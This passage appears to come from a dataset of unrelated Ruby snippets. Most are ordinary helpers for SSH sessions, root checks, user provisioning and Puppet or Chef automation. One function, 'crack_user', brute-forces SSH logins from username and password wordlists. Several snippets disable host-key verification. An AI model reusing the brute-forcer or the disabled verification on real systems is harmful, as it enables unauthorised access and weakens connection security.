'root', :mode => '755'\n file homedir, \n :ensure => :directory, \n :owner => user, \n :group => user, \n :require => user(user)\n \n user user, \n :ensure => :present,\n :home => \"/home/#{user}/home/#{user}\",\n :shell => \"/bin/false\",\n :groups => (['sftponly'] + hash[:groups].to_a).uniq,\n :require => [group('sftponly'),exec('fake shell')],\n :notify => exec(\"#{user} password\")\n \n password = hash[:password] || rand_pass(6)\n exec \"#{user} password\",\n :command => \"echo #{user}:#{password} | chpasswd\",\n :refreshonly => true\n\n end\n end", "def is_root?\n cmd_exec('/usr/bin/id -ru').eql? '0'\n end", "def ssh\n @ssh ||= Net::SSH.start(self, self['user'] || \"root\" , self['ssh'])\n end", "def test_on_node\n {\n # TODO: Access the user correctly when the user notion will be moved out of the ssh connector\n \"#{@deployer.instance_variable_get(:@actions_executor).connector(:ssh).ssh_user == 'root' ? '' : \"#{@nodes_handler.sudo_on(@node)} \"}cat /etc/passwd\" => proc do |stdout|\n passwd_users = stdout.map { |passwd_line| passwd_line.split(':').first }\n missing_users = @nodes_handler.\n select_confs_for_node(@node, @config.users_that_should_be_present).\n inject([]) { |merged_users, users_info| merged_users + users_info[:users] }.\n uniq - passwd_users\n error \"Missing local users that should be present: #{missing_users.join(', ')}\" unless missing_users.empty?\n extra_users = passwd_users & @nodes_handler.\n select_confs_for_node(@node, @config.users_that_should_be_absent).\n inject([]) { |merged_users, users_info| merged_users + users_info[:users] }.\n uniq\n error \"Extra local users that should be absent: #{extra_users.join(', ')}\" unless extra_users.empty?\n end\n }\n end", "def user_root\r\n if logged_in?\r\n redirect_to current_user\r\n else\r\n redirect_to login_path\r\n end\r\n end", "def create_root_user\r\n @root = Factory(:user, :login => \"root\", :email => Factory.next(:email), :is_root => true, \r\n :password => ADMIN_PASSWORD, :password_confirmation => ADMIN_PASSWORD)\r\n end", "def check_user\n (ENV['USER'] != 'root') &&\n $log.warn(\"Not running as root. Make sure user #{ENV['USER']} has sudo configured.\")\n end", "def in_test_or_root_user\n if !current_user.sk.root?\n in_test\n end\n end", "def start_ssh(node, user=nil)\n user ||= Settings::USER[:name]\n unless user.eql? Settings::USER[:name]\n ask(\"Enter your password: \") { |q| q.echo = false }\n @password = pwd\n end\n @node = node\n @user = user\n @ssh = get_ssh_session\n abort \"No ssh session found\" if @ssh.nil?\n @ssh\n end", "def ssh_primary(host, cmd, cf)\n \n user = cf.get_user\n pass = cf.get_passwd\n\n begin\n ssh = Net::SSH.start(host, user, :password => pass)\n out = ssh.exec!(cmd)\n ssh.close\n puts out\n rescue StandardError => e\n puts e.to_s\n end \n\nend", "def sudoifnotroot\n unless Process.uid == 0\n exit system(\"sudo\", $PROGRAM_NAME, *ARGV)\n end\nend", "def connect(&block)\n begin\n Puppet.debug \"Trying to connect to #{host} as #{user}\"\n @ssh = Net::SSH.start(host, user, :port => port, :password => password, :timeout => timeout,\n :paranoid => Net::SSH::Verifiers::Null.new,\n :global_known_hosts_file=>\"/dev/null\")\n rescue TimeoutError\n raise TimeoutError, \"SSH timed out while trying to connect to #{host}\"\n rescue Net::SSH::AuthenticationFailed\n raise Puppet::Error, \"SSH auth failed while trying to connect to #{host} as #{user}\"\n rescue Net::SSH::Exception => error\n raise Puppet::Error, \"SSH connection failure to #{host}\"\n end\n\n @buf = ''\n @eof = false\n @channel = nil\n @ssh.open_channel do |channel|\n channel.request_pty {|ch, success| raise \"Failed to open PTY\" unless success}\n\n channel.send_channel_request('shell') do |ch, success|\n raise 'Failed to open SSH SHELL Channel' unless success\n\n ch.on_data {|ch, data| @buf << data}\n ch.on_extended_data {|ch, type, data| @buf << data if type == 1}\n ch.on_close {@eof = true}\n\n @channel = ch\n expect(default_prompt, &block)\n return\n end\n end\n @ssh.loop\n end", "def ssh_login(do_tail, ssh_hostname, ssh_username, ssh_password)\n if ssh_hostname == '' or ssh_username == '' or ssh_password == ''\n puts \"Invalid SSH credentials is given\"\n else\n Net::SSH.start(ssh_hostname, ssh_username, :password => ssh_password) do |session|\n puts \"\\n### OVERALL FETCHED TAIL LOG IN SSH CLIENT ###\"\n if session.closed?\n puts 'SSH Email File Processor is not working or FTP files are not uploaded'\n else\n puts \"SSH Login is successfull : #{ssh_username}\"\n do_tail session, \"/home/apps/EMAIL_FILE_PROCESSOR/log/email_file_processor.log\"\n session.loop\n end\n end\n end\nend", "def crack_user(host)\n\tFile.open($userlist, 'r').each_line do |u|\n\t\tu=u.strip\n\t\tFile.open($passwdlist, 'r').each_line do |p|\n\t\t\tp=p.strip\n\t\t\tbegin\n\t\t\t\tputs \"\\e[1;33m[-]\\e[00m trying user: #{u} - password: #{p}\" if $debugFlag\n\t\t\t\tNet::SSH.start(host,u, :password => p)\n\t\t\trescue Net::SSH::AuthenticationFailed\n\t\t\t# rescue, other errors should be managed by caller \n\t\t\telse\n\t\t\t\tputs \"\\e[1;32m[*]\\e[00m #{host}: #{u}:#{p}\"\n\t\t\t\treturn u,p\n\t\t\tend\n\t\tend\n\tend\n\tputs \"\\e[1;31m[*]\\e[00m no password found for #{host}\"\n\treturn nil\nend", "def run_as_sudo?\n if ENV['USER']=='root' and (su=ENV['SUDO_USER'])\n su\n else\n false\n end\n end", "def do_ssh\n validate_parameters\n\n auth_types = []\n auth_types << 'PASSWORD' if @password && !@password.empty?\n auth_types << \"KEY (#{@key_type})\"\n\n connection = @host\n connection += \" port #{@port}\" if @port != 0\n\n write_output(\"\\nConnecting to #{connection} as #{@user} using auth [#{auth_types.join(', ')}]\")\n\n options = {\n :host_key => @key_type,\n :password => @password,\n :port => @port == 0 ? DEFAULT_PORT : @port,\n :timeout => @timeout,\n }\n options[:keys] = [@key_path] unless @key_path.empty?\n\n session = start(@host, @user, options, @retries, @wait)\n yield(session)\n rescue PluginError\n # Re-raise\n raise\n rescue Exception => e\n raise PluginError, \"Error in SSH connection: #{e.class} #{e}\\n\" + e.backtrace.join(\"\\n\")\n ensure\n close\n end", "def root?\n Process.uid == 0\n end", "def puppet_user(host)\n puppet_config(host, 'user', section: 'master')\n end", "def sshpassword\nsshhost = ''\nsshuser = ''\n\n Net::SSH.start(sshhost, sshuser) do |ssh|\n ssh.open_channel do |channel|\n channel.on_request \"exit-status\" do |channel, data|\n $exit_status = data.read_long\n end\n channel.request_pty do |channel, success|\n channel.exec(\"smbldap-passwd #{@authex.username}\") # sshuser should be root\n if success\n channel.on_data do |channel, data|\n channel.send_data(\"#{@newpasswd}\\n\")\n sleep 0.1\n end\n else\n puts \"Password change FAILED!!\"\n end\n end\n channel.wait\n puts \"Password change SUCCESS!!\" if $exit_status == 0\n end\n end\n\nend", "def sudo(shell, cmd, &blk)\n run_on_servers(shell, 'sudo sh -l -c', cmd, &blk)\n end", "def ssh_auto_check(host, user_name, *commands)\n @logger.info(\"[SystemGateway][ssh_auto_check] Hunting for #{commands} on remote #{host}...\")\n commands.each do |command|\n begin\n ssh(host, user_name, \"which #{command}\")\n rescue => ssh_error\n @logger.error(\"[SystemGateway][ssh_auto_check] Could not find '#{command}' via SSH: #{ssh_error.inspect}\")\n raise('Invalid SSH configuration')\n end\n end\n @logger.info('[SystemGateway][ssh_auto_check] Pass!')\n end", "def _ssh(path_of_servers, sshpass_command, user_exec_command)\n if path_of_servers.size == 0\n return \"#{sshpass_command} #{user_exec_command}\"\n end\n\n server = path_of_servers.shift\n #shell command needs double quote's escape\n sshpass_command += \"\\\"#{one_ssh_str(server)}\"\n _ssh(path_of_servers, sshpass_command, user_exec_command)\n end", "def login(user='root', options={})\n current = functions\n begin\n @functions = nil\n \n path = capture_script(options) { yield }\n execute 'su', user, path, :l => true\n ensure\n @functions = current\n end\n chain_proxy\n end", "def run(*args)\n case args.size\n when 3\n ssh_host, ssh_user, ssh_command = args \n when 2\n ssh_host, ssh_command = args\n ssh_user = self.user\n when 1\n ssh_host, ssh_user = self.host, self.user\n ssh_command = args.first\n else\n raise ArgumentError\n end\n return ssh_host.map{|host| run(host, ssh_user, ssh_command)} if ssh_host.is_a? Array\n \n key = \"#{ssh_user}@#{ssh_host}\"\n puts \" #{key}$ #{ssh_command}\"\n @ssh_sessions[key] ||= Net::SSH.start(ssh_host, ssh_user)\n output = @ssh_sessions[key].exec!(ssh_command)\n puts output.split(\"\\n\").map{|l| \" #{key}> #{l}\"}.join(\"\\n\") if output\n output\n end", "def within_ssh_session(machine)\n options = Net::SSH.configuration_for(machine['network'], true)\n options[:auth_methods] = %w[publickey none]\n options[:verify_host_key] = :never\n options[:keys] = [machine['keyfile']]\n options[:non_interactive] = true\n options[:timeout] = 5\n Net::SSH.start(machine['network'], machine['whoami'], options) do |ssh|\n yield ssh\n end\n end", "def ssh(host, user_name, *commands)\n global_cmd = \"ssh #{SSH_OPTIONS} #{user_name}@#{host} \\\"#{commands.join(';echo -;')}\\\"\"\n @logger.info(\"[SystemGateway][ssh] Executing #{global_cmd}...\")\n out = `#{global_cmd}`\n\n # SSH command failures (host unreachable, authentication errors)\n if $?.to_i != 0\n @logger.error(\"[SystemGateway][ssh] Command terminated abnormally: #{$?}\")\n raise(SSHError)\n end\n\n @logger.info(\"[SystemGateway][ssh] Command ended. Output: #{out}\")\n out\n end", "def root?\n Process.uid.zero?\n end", "def root?\n Process.uid.zero?\n end", "def asuser(new_uid=nil, new_gid=nil)\n return yield if Puppet.features.microsoft_windows? or !root?\n\n old_euid, old_egid = self.euid, self.egid\n begin\n change_group(new_gid) if new_gid\n change_user(new_uid) if new_uid\n\n yield\n ensure\n change_group(old_egid)\n change_user(old_euid)\n end\n end", "def connect(&block)\n @output = []\n @channel_data = ''\n\n begin\n Puppet.debug(\"connecting to #{host} as #{user}\")\n @ssh = Net::SSH.start(host, user, port: port, password: password, timeout: timeout, verify_host_key: false)\n rescue TimeoutError\n raise TimeoutError, _('timed out while opening an ssh connection to the host'), $ERROR_INFO.backtrace\n rescue Net::SSH::AuthenticationFailed\n raise Puppet::Error, _('SSH authentication failure connecting to %{host} as %{user}') % { host: host, user: user }, $ERROR_INFO.backtrace\n rescue Net::SSH::Exception\n raise Puppet::Error, _('SSH connection failure to %{host}') % { host: host }, $ERROR_INFO.backtrace\n end\n\n @buf = ''\n @eof = false\n @channel = nil\n @ssh.open_channel do |channel|\n channel.request_pty { |_ch, success| raise _('failed to open pty') unless success }\n\n channel.send_channel_request('shell') do |ch, success|\n raise _('failed to open ssh shell channel') unless success\n\n ch.on_data { |_, data| @buf << data }\n ch.on_extended_data { |_, type, data| @buf << data if type == 1 }\n ch.on_close { @eof = true }\n\n @channel = ch\n expect(default_prompt, &block)\n # this is a little bit unorthodox, we're trying to escape\n # the ssh loop there while still having the ssh connection up\n # otherwise we wouldn't be able to return ssh stdout/stderr\n # for a given call of command.\n # rubocop:disable Lint/NonLocalExitFromIterator\n return\n # rubocop:enable Lint/NonLocalExitFromIterator\n end\n end\n @ssh.loop\n end", "def expect_ssh(host, user, password, commands, verbose=false, opts={})\n @verbose = verbose\n\n def log(message)\n STDERR.puts message if @verbose\n end\n\n output = \"\"\n opts[:password] = password if opts[:password].nil?\n Net::SSH.start(host, user, opts) do |ssh|\n log \"started session\"\n channel = ssh.open_channel do |channel, success|\n log \"opened channel\"\n channel.send_channel_request \"shell\" do |ch, success|\n raise \"couldn't start shell\" unless success\n ch.on_data do |ch, data|\n log \"received data: #{data}\"\n output << data\n end\n commands.each do |command|\n log \"sending command: #{command}\"\n ch.send_data \"#{command}\\n\"\n end\n yield channel if block_given?\n end\n end\n ssh.loop\n end\n return output\nend", "def login_with_puppet_access_on(host, credentialed_dispatcher, opts={})\n\n lifetime = opts[:lifetime] || nil\n unless host.platform =~ /win/\n\n user = credentialed_dispatcher.credentials.login\n password = credentialed_dispatcher.credentials.password\n args = ['login']\n args.push \"--lifetime #{lifetime}\" if lifetime\n puppet_access_on(host, *args, {:stdin => \"#{user}\\n#{password}\\n\"})\n else\n\n # this is a hack\n # puppet-access needs to support alternative to interactive login\n # create .puppetlabs dir\n cmd = Beaker::Command.new('echo', ['%userprofile%'], :cmdexe => true)\n user_home_dir = host.exec(cmd).stdout.chomp\n win_token_path = \"#{user_home_dir}\\\\.puppetlabs\\\\\"\n host.exec(Beaker::Command.new('MD', [win_token_path.gsub('\\\\', '\\\\\\\\\\\\')], :cmdexe => true), :accept_all_exit_codes => true)\n\n token = credentialed_dispatcher.acquire_token_with_credentials(lifetime)\n create_remote_file(host, \"#{win_token_path}\\\\token\", token)\n end\n end", "def root_user\n Mongo::Auth::User.new(\n user: user || 'root-user',\n password: password || 'password',\n roles: [\n Mongo::Auth::Roles::USER_ADMIN_ANY_DATABASE,\n Mongo::Auth::Roles::DATABASE_ADMIN_ANY_DATABASE,\n Mongo::Auth::Roles::READ_WRITE_ANY_DATABASE,\n Mongo::Auth::Roles::HOST_MANAGER,\n Mongo::Auth::Roles::CLUSTER_ADMIN\n ]\n )\n end", "def get_ssh_auth_keys(host)\n return on(host, 'cat ~/.ssh/authorized_keys').stdout\nend", "def simple_ssh_command(host, user, command, timeout = 300)\n over_ssh(host: host, user: user, timeout: timeout) do |server|\n server.cd '/tmp'\n # Need to use sudo\n server.enable_sudo\n # scary...\n server.disable_safe_mode\n\n server.execute command\n end\n end", "def ssh(args, options)\n perform_action(args[0], options, 'SSH') do |vm|\n rc = vm.info\n\n if OpenNebula.is_error?(rc)\n STDERR.puts rc.message\n exit(-1)\n end\n\n if vm.lcm_state_str != 'RUNNING'\n STDERR.puts 'VM is not RUNNING, cannot SSH to it'\n exit(-1)\n end\n\n # Get user to login\n username = vm.retrieve_xmlelements('//TEMPLATE/CONTEXT/USERNAME')[0]\n\n if !username.nil?\n login = username.text\n elsif !args[1].nil?\n login = args[1]\n else\n login = 'root'\n end\n\n # Get CMD to run\n options[:cmd].nil? ? cmd = '' : cmd = options[:cmd]\n\n # Get NIC to connect\n if options[:nic_id]\n nic = vm.retrieve_xmlelements(\n \"//TEMPLATE/NIC[NIC_ID=\\\"#{options[:nic_id]}\\\"]\"\n )[0]\n else\n nic = vm.retrieve_xmlelements('//TEMPLATE/NIC[SSH=\"YES\"]')[0]\n end\n\n nic = vm.retrieve_xmlelements('//TEMPLATE/NIC[1]')[0] if nic.nil?\n\n if nic.nil?\n STDERR.puts 'No NIC found'\n exit(-1)\n end\n\n # If there is node port\n if nic['EXTERNAL_PORT_RANGE']\n ip = vm.to_hash['VM']['HISTORY_RECORDS']['HISTORY']\n ip = [ip].flatten[-1]['HOSTNAME']\n port = Integer(nic['EXTERNAL_PORT_RANGE'].split(':')[0]) + 21\n else\n ip = nic['IP']\n port = 22\n end\n\n options[:ssh_opts].nil? ? opts = '' : opts = options[:ssh_opts]\n\n if opts.empty?\n exec('ssh', \"#{login}@#{ip}\", '-p', port.to_s, cmd.to_s)\n else\n exec('ssh', *opts.split, \"#{login}@#{ip}\", '-p', port.to_s, cmd.to_s)\n end\n end\n\n # rubocop:disable Style/SpecialGlobalVars\n $?.exitstatus\n # rubocop:enable Style/SpecialGlobalVars\n end", "def ssh\n tries = 1\n @ssh ||= begin\n Net::SSH.start(self, self['user'], self['ssh'])\n rescue\n tries += 1\n if tries < 4\n puts \"Try #{tries} -- Host Unreachable\"\n puts 'Trying again in 20 seconds'\n sleep 20\n retry\n end\n end\n end", "def query_ssh(host, user, password, &ssh)\n Net::SSH.start(host, user, :password => password) do |ssh|\n yield ssh\n end\n\n rescue Errno::ETIMEDOUT\n message = \"SSH connection to #{host} has timed out.\"\n $logger.log_error(message, 'cluster')\n \n rescue Errno::ECONNREFUSED\n message = \"SSH connection to #{host} refused.\"\n $logger.log_error(message, 'cluster')\n \n rescue Errno::EHOSTUNREACH\n message = \"SSH connection to #{host} could not be established.\"\n $logger.log_error(message, 'cluster')\n \n rescue => error\n message = \"SSH connection to #{host} failed because of: #{error}.\"\n $logger.log_error(message, 'cluster')\n end", "def update_ssh(nodes, version)\n fqdns = nodes.map { |node| node.fqdn }.join(' ')\n\n ssh = Chef::Knife::Ssh.new\n ssh.ui = ui\n ssh.name_args = [ fqdns, ssh_command(version) ]\n ssh.config[:manual] = true\n ssh.config[:on_error] = :skip\n ssh.config[:ssh_user] = Chef::Config[:knife][:ssh_user] || config[:ssh_user]\n ssh.config[:ssh_password] = config[:ssh_password]\n ssh.config[:ssh_port] = Chef::Config[:knife][:ssh_port] || config[:ssh_port]\n ssh.config[:ssh_gateway] = Chef::Config[:knife][:ssh_gateway] || config[:ssh_gateway]\n ssh.config[:identity_file] = Chef::Config[:knife][:identity_file] || config[:identity_file]\n ssh.config[:host_key_verify] = Chef::Config[:knife][:host_key_verify] || config[:host_key_verify]\n ssh\n end", "def sudo(*args)\r\n if ENV[\"USER\"] != \"root\"\r\n command = \"sudo #{args.join(\" \")}\"\r\n puts \"Please enter your password (if requested) for executing the command '#{command}'\"\r\n else\r\n command = args.join(\" \")\r\n end\r\n\r\n exec command\r\n end", "def chroot(newroot)\n return if !block_given?\n raise BakerError, \"can't chroot into #{newroot}, directory dosen't exist\" if !File.directory?(newroot)\n FileUtils.mkdir(File.join(newroot,'proc')) if !File.directory?(File.join(newroot,'proc'))\n raise BakerError, \"mount proc failed\" unless system(\"mount -n -t proc #{Dir.map('/proc')} #{File.join(newroot,'proc')}\")\n begin\n trap('INT','IGNORE')\n pid = Process.fork do\n begin\n Dir.chdir(newroot)\n puts `ls ./root/bin`\n ENV['PATH'] = \"/root/bin:#{ENV['PATH']}\"\n ENV['SHELL'] = \"/bin/bash\"\n `chroot ./` #Dir.chroot('.')\n p \"here\"\n yield\n rescue Exception => e\n puts \"Error in chroot: #{e}\"\n end\n end\n Process.waitpid(pid)\n ensure\n system(\"umount -ln #{File.join(newroot,'proc')}\")\n trap('INT','DEFAULT')\n end\n end", "def login\n puts \"logging in\"\n tries ||= 3\n @@sftp = Net::SFTP.start('moftp.mo.gov', Rails.application.credentials[:missouri_username], password: Rails.application.credentials[:missouri_password], number_of_password_prompts: 0 )\n puts \"logon successful!\"\n rescue Net::SSH::AuthenticationFailed \n tries -= 1\n if tries > 0 \n puts \"Trying again: #{tries}\"\n retry\n else\n puts \"Logon failed. Try again later.\"\n UserMailer.login_error.deliver_now!\n @@sftp = nil\n return\n end\n end", "def initialSSHTasks(ssh)\n win_env_fix = %q{echo 'export PATH=\"$PATH:/cygdrive/c/opscode/chef/embedded/bin\"' > \"$HOME/chef-client\"; echo 'prev_dir=\"`pwd`\"; for __dir in /proc/registry/HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session\\ Manager/Environment;do cd \"$__dir\"; for __var in `ls * | grep -v TEMP | grep -v TMP`;do __var=`echo $__var | tr \"[a-z]\" \"[A-Z]\"`; test -z \"${!__var}\" && export $__var=\"`cat $__var`\" >/dev/null 2>&1; done; done; cd \"$prev_dir\"; /cygdrive/c/opscode/chef/bin/chef-client.bat $@' >> \"$HOME/chef-client\"; chmod 700 \"$HOME/chef-client\"; ( grep \"^alias chef-client=\" \"$HOME/.bashrc\" || echo 'alias chef-client=\"$HOME/chef-client\"' >> \"$HOME/.bashrc\" ) ; ( grep \"^alias mu-groom=\" \"$HOME/.bashrc\" || echo 'alias mu-groom=\"powershell -File \\\"c:/Program Files/Amazon/Ec2ConfigService/Scripts/UserScript.ps1\\\"\"' >> \"$HOME/.bashrc\" )}\n win_installer_check = %q{ls /proc/registry/HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Installer/}\n lnx_installer_check = %q{ps auxww | awk '{print $11}' | egrep '(/usr/bin/yum|apt-get|dpkg)'}\n lnx_updates_check = %q{( test -f /.mu-installer-ran-updates || ! test -d /var/lib/cloud/instance ) || echo \"userdata still running\"}\n win_set_pw = nil\n\n if windows? and !@config['use_cloud_provider_windows_password']\n # This covers both the case where we have a windows password passed from a vault and where we need to use a a random Windows Admin password generated by MU::Cloud::Server.generateWindowsPassword\n pw = @groomer.getSecret(\n vault: @config['mu_name'],\n item: \"windows_credentials\",\n field: \"password\"\n )\n win_check_for_pw = %Q{powershell -Command '& {Add-Type -AssemblyName System.DirectoryServices.AccountManagement; $Creds = (New-Object System.Management.Automation.PSCredential(\"#{@config[\"windows_admin_username\"]}\", (ConvertTo-SecureString \"#{pw}\" -AsPlainText -Force)));$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine); $DS.ValidateCredentials($Creds.GetNetworkCredential().UserName, $Creds.GetNetworkCredential().password); echo $Result}'}\n win_set_pw = %Q{powershell -Command \"& {(([adsi]('WinNT://./#{@config[\"windows_admin_username\"]}, user')).psbase.invoke('SetPassword', '#{pw}'))}\"}\n end\n\n # There shouldn't be a use case where a domain joined computer goes through initialSSHTasks. Removing Active Directory specific computer rename.\n set_hostname = true\n hostname = nil\n if !@config['active_directory'].nil?\n if @config['active_directory']['node_type'] == \"domain_controller\" && @config['active_directory']['domain_controller_hostname']\n hostname = @config['active_directory']['domain_controller_hostname']\n @mu_windows_name = hostname\n set_hostname = true\n else\n # Do we have an AD specific hostname?\n hostname = @mu_windows_name\n set_hostname = true\n end\n else\n hostname = @mu_windows_name\n end\n win_check_for_hostname = %Q{powershell -Command '& {hostname}'}\n win_set_hostname = %Q{powershell -Command \"& {Rename-Computer -NewName '#{hostname}' -Force -PassThru -Restart; Restart-Computer -Force }\"}\n\n begin\n # Set our admin password first, if we need to\n if windows? and !win_set_pw.nil? and !win_check_for_pw.nil?\n output = ssh.exec!(win_check_for_pw)\n raise MU::Cloud::BootstrapTempFail, \"Got nil output from ssh session, waiting and retrying\" if output.nil?\n if !output.match(/True/)\n MU.log \"Setting Windows password for user #{@config['windows_admin_username']}\", details: ssh.exec!(win_set_pw)\n end\n end\n if windows?\n output = ssh.exec!(win_env_fix)\n output = ssh.exec!(win_installer_check)\n raise MU::Cloud::BootstrapTempFail, \"Got nil output from ssh session, waiting and retrying\" if output.nil?\n if output.match(/InProgress/)\n raise MU::Cloud::BootstrapTempFail, \"Windows Installer service is still doing something, need to wait\"\n end\n if set_hostname and !@hostname_set and @mu_windows_name\n output = ssh.exec!(win_check_for_hostname)\n raise MU::Cloud::BootstrapTempFail, \"Got nil output from ssh session, waiting and retrying\" if output.nil?\n if !output.match(/#{@mu_windows_name}/)\n MU.log \"Setting Windows hostname to #{@mu_windows_name}\", details: ssh.exec!(win_set_hostname)\n @hostname_set = true\n # Reboot from the API too, in case Windows is flailing\n if !@cloudobj.nil?\n @cloudobj.reboot\n else\n reboot\n end\n raise MU::Cloud::BootstrapTempFail, \"Set hostname in Windows, waiting for reboot\"\n end\n end\n else\n output = ssh.exec!(lnx_installer_check)\n if !output.nil? and !output.empty?\n raise MU::Cloud::BootstrapTempFail, \"Linux package manager is still doing something, need to wait (#{output})\"\n end\n if !@config['skipinitialupdates']\n output = ssh.exec!(lnx_updates_check)\n if !output.nil? and output.match(/userdata still running/)\n raise MU::Cloud::BootstrapTempFail, \"Waiting for initial userdata system updates to complete\"\n end\n end\n end\n rescue RuntimeError => e\n raise MU::Cloud::BootstrapTempFail, \"Got #{e.inspect} performing initial SSH connect tasks, will try again\"\n end\n\n end", "def run_on_a_host_as(userid, host, cmd = nil, &block)\n login = \"#{userid}@#{host}\"\n match = Regexp.new(match) if match.is_a? String\n raise ArgumentError.new('match expression cannot be empty') if match =~ ''\n\n rsp = nil\n err_rsp = nil\n cmd = block.call if block_given?\n raise ArgumentError.new('cmd cannot be empty') if cmd.empty?\n\n begin\n ssh_session = Net::SSH.start(host, userid, :timeout => self.ssh_timeout, :languages => 'en')\n raise \"Unable to establish connecton to #{host} as #{userid}\" if ssh_session.nil?\n\n ssh_session.open_channel do |channel|\n channel.exec(cmd) do |ch, success|\n ch.on_data do |chn, data|\n rsp ||= ''\n rsp += data.to_s\n end\n\n ch.on_extended_data do |chn, data|\n err_rsp ||= ''\n err_rsp += data.to_s\n end\n end\n \n channel.wait\n end\n\n # must do this or the channel only runs once\n ssh_session.loop(5)\n\n ssh_session.close\n rescue Exception => e\n err_rsp = \"error talking to #{host} as #{userid}: #{e.message}\"\n ssh_session.shutdown! unless ssh_session.nil?\n end\n [rsp, err_rsp, cmd]\n end", "def connect\n return true if connected?\n\n cmd = ssh_cmd quote_cmd(LOGIN_LOOP), :sudo => false\n\n @parent_pid, inn, out, err = popen4 cmd.join(\" \")\n inn.sync = true\n\n data = \"\"\n ready = nil\n start_time = Time.now.to_i\n\n until ready || out.eof?\n data << out.readpartial(1024)\n ready = data =~ /ready/\n\n raise TimeoutError if timed_out?(start_time, LOGIN_TIMEOUT)\n end\n\n unless connected?\n disconnect\n host_info = [@user, @host].compact.join(\"@\")\n raise ConnectionError, \"Can't connect to #{host_info}\"\n end\n\n inn.close rescue nil\n out.close rescue nil\n err.close rescue nil\n\n @parent_pid\n end", "def check_for_localhome(user,system_user)\n host = 'ovid02.u.washington.edu'\n Net::SSH.start(host,system_user, {auth_methods: %w( publickey )}) do |ssh|\n output = ssh.exec!(\"cpw -poh #{user}\")\n if output =~ /Unknown/\n return \"No MySQL Localhome Set for #{user}\".red\n else\n return \"Localhome for #{user}: #{output}\"\n end\n end\n end", "def run_session\n first_try = true\n\n begin\n Net::SSH.start(@host, @user, @options) do |ssh|\n yield(ssh)\n end\n rescue Net::SSH::HostKeyMismatch => e\n if @remember_host == true && first_try\n # Save fingerprint and try again\n first_try = false\n e.remember_host!\n retry\n else\n # Re-raise error\n raise e\n end\n end\n end", "def connect(silent = false)\n info \"starting ssh session to #{config.host}:#{config.port} ...\" unless silent\n Travis::Worker::Utils::HardTimeout.timeout(15) do\n @connector.connect\n end\n if @config.platform == :osx\n info \"unlocking keychain\" unless silent\n exec(\"security unlock-keychain -p #{config.keychain_password}\")\n end\n true\n rescue Timeout::Error\n warn \"Timed out attempting to open SSH connection\"\n raise\n end", "def change_rootpassword(vid, new_password)\n perform_request(:action => 'vserver-rootpassword', :vserverid => vid, :rootpassword => new_password)\n end", "def set_root_hash(root_hash)\n command = [[5].pack('C'), root_hash].join\n @connector.send command\n end", "def use_ssh?\r\n return false if lxd_transport_selected?\r\n return true if config[:ssh_login]\r\n return false if config[:ssh_login] == false # allow forced disable for cloud-images... or (TODO: should I not default enable for them?)\r\n cloud_image?\r\n end", "def try_become_user(user)\n u = Etc.getpwnam(user)\n Process.gid = Process.egid = u.gid\n Process.uid = Process.euid = u.uid\nrescue ArgumentError\n # Catch exception raised by getpwnam if `user` does not exist.\n nil # Make older rubocop happy\nend", "def ssh_session\n retry_flag=true\n @log.debug \"ssh is #{@config['ssh'].inspect}\"\n ssh_config = @config['ssh'].clone\n host = ssh_config['host']\n ssh_config.delete('host')\n user = ssh_config['user']\n ssh_config.delete('user')\n # Convert strings to symbols..\n ssh_config = ssh_config.inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo}\n ssh_config[:port] = @vm_ssh_port\n begin\n Net::SSH.start(host,user,ssh_config) do |session|\n yield session\n end\n rescue EOFError => e\n raise(e) unless retry_flag\n retry_flag = false\n @log.info \"SSH session creation failed, retrying!\"\n retry\n end\n end", "def as(user = nil)\n old_sudo, @sudo = @sudo, (user || 'root')\n yield\n @sudo = old_sudo\n end", "def verify_abs_host(host)\n result = nil\n success = false\n user = \"root\"\n key_file = ENV['BEAKER_KEYFILE'] ? ENV['BEAKER_KEYFILE'] : \"#{ENV['HOME']}/.ssh/id_rsa-acceptance\"\n\n puts \"Verifying #{host}\"\n puts\n\n # TODO: 8 tries?\n for tries in 1..8\n\n puts \"Attempt #{tries} for #{host}\"\n\n begin\n # verify that Beaker will be able to start using the host\n ssh = Net::SSH.start(host, user, keys: key_file)\n result = ssh.exec!(\"rpm -q curl\")\n ssh.close\n\n if result\n puts \"Result: #{result}\"\n raise \"Error: root account is not yet configured\" if result.to_s.include?(\"centos\")\n success = true\n break\n\n else\n raise \"Unknown error\"\n end\n\n rescue Net::SSH::HostKeyMismatch => err\n err.remember_host!\n rescue => err\n puts \"Attempted connection to #{host} failed with '#{err}'\"\n backoff_sleep(tries)\n\n end\n\n end\n\n puts \"Failed to verify host #{host}\" unless success\n return success\n end", "def auto_chroot(args, opts={})\n log.debug \"chroot: #{args.join ' '}\"\n opts[:env] = (opts[:env] || {}).update(@chroot_env || {}).merge(CHROOT_ENV)\n chroot [@target] + args, opts\n end", "def set_ssh_user(username, password)\n # Sets the credentials for a the remote SSH user\n @username = username\n @password = password\n end", "def root \n @root ||= User.root\n end", "def sudo_on_each(cmd, &block)\n run_for_each do |server|\n server.command_on_server('sudo sh -l -c', cmd, &block)\n end\n end", "def lock_all(hosts)\n unless $client\n return # no PFTT server, ignore\n end\n hosts.each{|host|\n if host.is_a?(Host::Remote)\n $client.net_lock(host[:host_name])\n end \n }\n end", "def run_session\n first_try = true\n\n begin\n Net::SSH.start(@host, @user, @options) do |ssh|\n yield(ssh)\n end\n rescue Net::SSH::HostKeyMismatch => err\n if remember_host? && first_try\n # Save fingerprint and try again\n first_try = false\n err.remember_host!\n retry\n else\n # Re-raise error\n raise err\n end\n end\n end", "def attempt\n raise \"Machine already activated\" if completed?\n \n credentials = machine.ssh_credentials\n non_su_credential = credentials.select(&:needs_sudo).first\n su_credential = credentials.reject(&:needs_sudo).first\n non_su_credential ||= su_credential\n \n shell = nil\n \n begin\n # Learn about the machine's platform.\n unless machine.kernel_info\n return unless shell ||= machine.ssh(non_su_credential)\n kernel_info = machine.build_kernel_info\n kernel_info.update_from_shell shell\n return unless kernel_info.save\n end\n \n # Create and activate a superuser ssh credential.\n unless su_credential.healthy?\n return unless shell ||= machine.ssh(non_su_credential)\n su_credential ||= machine.ssh_credentials.build :username => 'root'\n su_credential.new_key!\n return unless su_credential.save\n su_credential.install shell\n end\n\n if password_reset && non_su_credential != su_credential\n end\n \n completed_at = Time.now\n save!\n ensure\n shell.close if shell\n end\n true\n end", "def 